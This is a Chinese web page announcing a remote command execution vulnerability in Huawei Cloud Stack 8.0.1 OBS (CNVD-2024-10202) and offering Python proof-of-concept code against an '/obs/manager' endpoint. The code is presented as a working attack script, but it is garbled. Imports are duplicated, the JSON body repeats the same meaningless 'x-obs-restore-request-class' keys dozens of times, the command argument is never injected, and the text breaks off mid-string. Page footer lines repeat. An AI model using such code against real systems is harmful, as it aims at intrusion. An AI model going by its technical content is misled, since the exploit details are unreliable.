华为云Stack OBS远程命令执行漏洞(CNVD-2024-10202)及POC

漏洞概述 漏洞名称: 华为云Stack 8.0.1 对象存储OBS 远程命令执行漏洞 漏洞编号: CNVD-2024-10202 漏洞类型: 远程命令执行 漏洞描述: 华为云Stack 8.0.1 对象存储OBS 存在远程命令执行漏洞，攻击者可利用该漏洞在受影响的应用中执行任意命令。 影响范围 受影响产品: 华为云Stack 8.0.1 对象存储OBS 修复方案 修复建议: 暂无官方修复方案，建议用户关注官方更新或采取其他安全措施。 POC代码 ```python import requests import json import sys import time import base64 import urllib3 import subprocess import os import re import random import string import hashlib import requests import urllib3 from urllib.parse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(InsecureRequestWarning) def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: 华为云Stack 8.0.1 对象存储OBS \033[0m') print('+ \033[36m使用格式: python3 peiqi-yuncun-obs-rce.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCommand >>> whoami \033[0m') print('+------------------------------------------') def POC_1(target_url, command): vuln_url = target_url + "/obs/manager" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json" } data = { "method": "create", "params": { "name": "test", "bucket": "test", "location": "cn-north-4", "storageClass": "STANDARD", "acl": "private", "metadata": { "x-obs-server-side-encryption": "AES256", "x-obs-server-side-encryption-customer-algorithm": "AES256", "x-obs-server-side-encryption-customer-key": "dGVzdA==", "x-obs-server-side-encryption-customer-key-MD5": "bWQ1", "x-obs-server-side-encryption-context": "eyJ4LW9icy1zZXJ2ZXItZW5jcnlwdGlvbjoiQUVTMjU2In0=", "x-obs-server-side-encryption-bucket-key-enabled": "true", "x-obs-req-trace-id": "test", "x-obs-request-charged": "true", "x-obs-tagging": "key1=value1&key2=value2", "x-obs-mfa": "1234567890", "x-obs-delete-marker": "true", "x-obs-version-id": "test", "x-obs-restore": "true", "x-obs-restore-request": "true", "x-obs-restore-request-type": "true", "x-obs-restore-request-days": "1", "x-obs-restore-request-priority": "1", "x-obs-restore-request-class": "true", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore-request-class-priority": "1", "x-obs-restore-request-class-type": "true", "x-obs-restore-request-class-days": "1", "x-obs-restore

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

华为云Stack OBS远程命令执行漏洞(CNVD-2024-10202)及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

华为云Stack OBS远程命令执行漏洞(CNVD-2024-10202)及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！